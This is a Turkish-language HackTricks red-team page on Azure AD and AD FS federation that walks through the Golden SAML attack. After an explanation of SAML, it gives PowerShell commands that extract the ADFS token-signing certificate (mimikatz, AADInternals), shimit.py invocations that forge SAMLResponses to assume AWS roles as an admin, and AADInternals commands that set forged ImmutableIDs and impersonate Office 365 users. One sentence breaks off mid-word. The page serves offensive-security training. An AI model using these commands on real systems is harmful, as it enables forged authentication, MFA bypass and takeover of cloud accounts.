Az - Federation

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Dokümantasyondan:Federasyon, güven sağlamış olan alanların bir koleksiyonudur. Güven seviyesi değişebilir, ancak genellikle kimlik doğrulamayı ve neredeyse her zaman yetkilendirmeyi içerir. Tipik bir federasyon, bir dizi kaynağa paylaşılan erişim için güven sağlamış olan bir dizi organizasyonu içerebilir.

On-premises ortamınızı Azure AD ile federasyonlaştırabilir ve bu federasyonu kimlik doğrulama ve yetkilendirme için kullanabilirsiniz. Bu oturum açma yöntemi, tüm kullanıcı kimlik doğrulamalarının on-premises ortamda gerçekleştiğini sağlar. Bu yöntem, yöneticilerin daha sıkı erişim kontrol düzeyleri uygulamasına olanak tanır. AD FS ve PingFederate ile federasyon sağlanabilir.

Temel olarak, Federasyon'da tüm kimlik doğrulama on-premises ortamında gerçekleşir ve kullanıcılar güvendiği tüm ortamlarda SSO deneyimi yaşar. Bu nedenle, kullanıcılar on-prem kimlik bilgilerini kullanarak bulut uygulamalarına erişebilir.

Güvenlik Bildirimi İşaretleme Dili (SAML), sağlayıcılar arasında tüm kimlik doğrulama ve yetkilendirme bilgilerinin değiş tokuşu için kullanılır.

Herhangi bir federasyon kurulumunda üç taraf bulunur:

  • Kullanıcı veya İstemci

  • Kimlik Sağlayıcı (IdP)

  • Hizmet Sağlayıcı (SP)

(Resimler https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps adresinden alınmıştır)

  1. İlk olarak, bir kullanıcı tarafından bir uygulama (AWS konsolu veya vSphere web istemcisi gibi Hizmet Sağlayıcı veya SP) erişilir. Bu adım, özel uygulamaya bağlı olarak, istemciyi doğrudan IdP'ye (Kimlik Sağlayıcı) yönlendirebilir.

  2. Ardından, SP, kullanıcı kimlik doğrulaması için uygun IdP'yi (örneğin, AD FS, Okta) belirler. Ardından, bir SAML (Güvenlik Bildirimi İşaretleme Dili) AuthnRequest oluşturur ve istemciyi seçilen IdP'ye yönlendirir.

  3. IdP, kullanıcıyı kimlik doğrulayarak devralır. Kimlik doğrulama sonrasında, bir SAMLResponse, IdP tarafından formüle edilir ve kullanıcı aracılığıyla SP'ye iletilir.

  4. Son olarak, SP, SAMLResponse'u değerlendirir. IdP ile güven ilişkisini doğrulayan başarılı bir şekilde doğrulandığında, kullanıcı erişime izin verilir. Bu, oturum açma işleminin tamamlanması anlamına gelir ve kullanıcının hizmeti kullanmasına olanak tanır.

SAML kimlik doğrulaması ve yaygın saldırılar hakkında daha fazla bilgi edinmek isterseniz:

Pivoting

  • AD FS, iddialara dayalı bir kimlik modelidir.

  • "..iddialar, kullanıcılar hakkında yapılan (örneğin, ad, kimlik, grup gibi) beyanlardır ve çoğunlukla İnternet'teki herhangi bir yerde bulunan iddialara dayalı uygulamalara erişimi yetkilendirmek için kullanılır."

  • Bir kullanıcının iddiaları, SAML belgelerinin içine yazılır ve ardından IdP tarafından gizlilik sağlamak için imzalanır.

  • Bir kullanıcı, ImmutableID tarafından tanımlanır. Bu, küresel olarak benzersizdir ve Azure AD'de depolanır.

  • ImmutableID, kullanıcı için Azure AD'de saklanan bir on-premises asms-DS-ConsistencyGuid olabilir ve/veya kullanıcının GUID'inden türetilebilir.

Golden SAML saldırısı:

  • ADFS'de, SAML Yanıtı bir belge imzalama sertifikasıyla imzalanır.

  • Sertifika tehlikeye atılırsa, Azure AD'ye senkronize edilen HERHANGİ bir kullanıcı olarak kimlik doğrulaması yapmak mümkün olur!

  • PTA kötüye kullanımımız gibi, bir kullanıcı için şifre değişikliği veya MFA'nın herhangi bir etkisi olmayacaktır çünkü kimlik doğrulama yanıtını sahtecilik ediyoruz.

  • Sertifika, DA ayrıcalıklarıyla AD FS sunucusundan çıkarılabilir ve ardından herhangi bir internete bağlı makineden kullanılabilir.

Golden SAML

Bir Kimlik Sağlayıcı (IdP)'nin kullanıcı oturum açmasını yetkilendirmek için bir SAMLResponse üretmesi işlemi önemlidir. IdP'nin belirli uygulamasına bağlı olarak, yanıt, IdP'nin özel anahtarını kullanarak imzalanmış veya şifrelenmiş olabilir. Bu işlem, Hizmet Sağlayıcı'nın (SP) SAMLResponse'un ot

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Tüm bilgilerle, shimit kullanarak taklit etmek istediğiniz kullanıcı olarak geçerli bir SAMLResponse'u unutmak mümkündür:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> buluta

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Ayrıca, yalnızca bulut kullanıcılarının ImmutableID'sini oluşturmak ve onları taklit etmek mümkündür.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Referanslar

A'dan Z'ye AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated